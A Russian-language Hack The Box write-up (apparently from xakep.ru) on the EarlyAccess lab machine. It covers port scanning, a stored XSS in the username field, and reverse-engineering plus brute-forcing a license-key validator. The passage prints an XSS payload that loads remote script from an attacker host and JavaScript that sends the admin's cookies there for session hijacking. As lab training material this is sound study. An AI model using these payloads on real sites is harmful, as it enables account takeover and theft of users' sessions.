Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье я покажу процесс эксплуатации нескольких веб‑сервисов через разные уязвимости и техники, начиная с XSS и SQL-инъекций и заканчивая LFI и инъекцией команд ОС. А потом мы выберемся из Docker на основную систему и зайдем в другой Docker, чтобы эту систему порутить. Скучать не придется!
Нашей целью будет машина EarlyAccess с площадки Hack The Box. Уровень сложности — Hard, но когда нас это останавливало?
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.110 earlyaccess.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Находим три открытых порта:
Так как на хосте работает веб‑сервер с доступом по SSH, мы можем извлечь из сертификата доменное имя сайта, для которого он действителен. В результатах сканирования Nmap привел поле commonName
, однако это название мы уже записали в /etc/hosts
. Зайдем на сайт и посмотрим, что он может нам дать.
Главная страница сайта
Тут есть возможность регистрации и авторизации. Сделаем и то и другое, чтобы получить доступ к большему числу функций и разных мест для тестирования.
Главная панель авторизованного пользователя
Нам открывается связь с администратором, форум, хранилище и проверка какого‑то ключа.
Я сразу решил протестировать форму связи с админом и проверить, нет ли уязвимостей XSS.
Тестовое сообщение
Отправив тестовое сообщение, можем определить две позиции для нагрузки: имя пользователя и тело сообщения. Пройдем в профиль пользователя и поставим базовую нагрузку <script>alert(1);script>
в имени пользователя.
Редактирование профиля
После перехода к сообщениям видим отметку о прочитанном сообщении.
Сообщения пользователя
А открыв сам текст, получим отработку нашего кода.
Сообщение alert(1)
Так как присутствует stored XSS, мы можем украсть куки администратора. Это позволит открыть еще больше возможностей!
Недавно я познакомился с отличным инструментом pyXSSPlatform, который может облегчить задачу в таких случаях. После загрузки нужно сгенерировать сертификат для нашего веб‑сервера.
openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes
Генерируем сертификат
Затем из каталога с шаблонами скопируем код для кражи куки в файл index.js
. Только вставим в код свой адрес.
var serverUrl = "https://10.10.14.131/cookie";//change thisvar newimg = new Image();newimg.src=serverUrl+"?cookie="+escape(document.cookie);
А затем запустим веб‑сервер.
python3 pyXSSPlatform.py 10.10.14.131 443 https_svr_key.pem
Запуск платформы для эксплуатации XSS
В качестве имени пользователя используем нагрузку, которую предоставляет pyXSSPlatform.
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="https://10.10.14.131/index.js"></img>
Снова отправим сообщение и, после того как администратор его прочитает, в логах веб‑сервера обнаружим запрос основной нагрузки, а потом и запрос с предоставленными в качестве параметра куками.
Логи pyXSSPlatform
Используем расширение для браузера вроде Cookie Editor, заменяем наши cookie только что полученными и обновляем страницу. Теперь у нас есть панель администратора.
Панель админа
Привилегии администратора открывают нам доступ к исходному коду валидатора уже знакомого ключа, а также к двум новым сайтам — Dev
и Game
, запись для которых добавляем в /etc/hosts
.
10.10.11.110 earlyaccess.htb dev.earlyaccess.htb game.earlyaccess.htb
Панель валидатора
Форма авторизации Game
Форма авторизации Dev
Так мы можем авторизоваться от имени пользователя, если будет зарегистрирован ключ. Попробуем проанализировать алгоритм валидации и написать кейген.
Первым делом в программе проверяется формат ключа.
Функция main
Функция valid_format
Ключ делится на пять блоков:
A–Z
и 0–9
;
A–Z
и 0–9
;
A–Z
и один символ из 0–9
;
A–Z
и 0–9
;
Из функции check
узнаем, что блоки проверяются отдельно друг от друга.
Функция check
Допишем вывод после каждой проверки, чтобы определять, правильный ли блок мы подобрали.
Измененная функция check
А теперь приступим к анализу функций, которые проводят проверку. Так, в функции g1_valid
четвертый и пятый символы должны быть цифрами (строки 39–43).
Функция g1_valid
Чтобы не разбирать алгоритмы проверок, я решил составлять словари, переписывать эти функции и брутить! Словари составляем с помощью программы crunch. Первый словарь у меня будет состоять из трех букв и двух цифр, для этого используем маску ,,,%%
.
crunch 5 5 -t ,,,%% > g1_list.txt
Делаем кейген для этой функции на Python:
def g1_valid(g1): r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1)g1_list = open("g1_list.txt").read().split("n")for s in g1_list: if g1_valid(s) == True: print(s) break
Запускаем и получаем первую часть ключа.
Генерация и проверка первой части ключа
Перейдем ко второй части, которая использует все буквы и цифры. Создадим словарь, а потом допишем функцию проверки:
crunch 5 5 1234567890QWERTYUIOPASDFGHJKLZXCVBNM > g2_list.txt
Функция g2_validdef g2_valid(g2): p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
Генерация и проверка второй части ключа
Для генерации третьей части нам понадобится два дополнительных magic-значения.
Функция g3_valid
Magic-значения
При этом значение magic_num
меняется раз в 30 минут, а первые два символа должны быть равны статическому значению magic_value
— XP
. Генерируем словарь для строк из трех символов: первые две буквы, последняя цифра.
crunch 3 3 -t ,,% > g3_list.txt
И с помощью следующего кода получаем третью часть ключа.
def g3_valid(magic_num, g3): return sum(bytearray(("XP" + g3).encode())) == magic_numg1_list = open("g3_list.txt").read().split("n")for s in g1_list: if g3_valid(346, s) == True: print("XP"+s) break
Генерация и проверка третьей части ключа
Для четвертой части используем словарь, который был сгенерирован для второй, а также первую часть ключа.
Функция g4_validdef g4_valid(g4): g1 = 'KEY01' return [ord(i)^ord(g) for g, i in zip(g1, g4)] == [12, 4, 20, 117, 0]
Генерация и проверка четвертой части ключа
Осталась пятая часть — контрольная сумма.
Функция cs_valid
Функция calc_cs
Для перебора я решил использовать четырехсимвольные числа, как указано в примере.
crunch 4 4 -t %%%% >> g5_list.txt
def cs_valid(g5): return sum([sum(bytearray(g.encode())) for g in ['KEY01', '1Q1WF', 'XPAA0', 'GAME1']]) == int(g5)
Генерация пятой части и проверка ключа
Так мы сделали скрипт, получили ключ, вот только сервис его не принял. Видимо, изменилось значение magic_num
. А это значит, что нужно составить список возможных ключей и попытаться пробрутить.
Источник: xakep.ru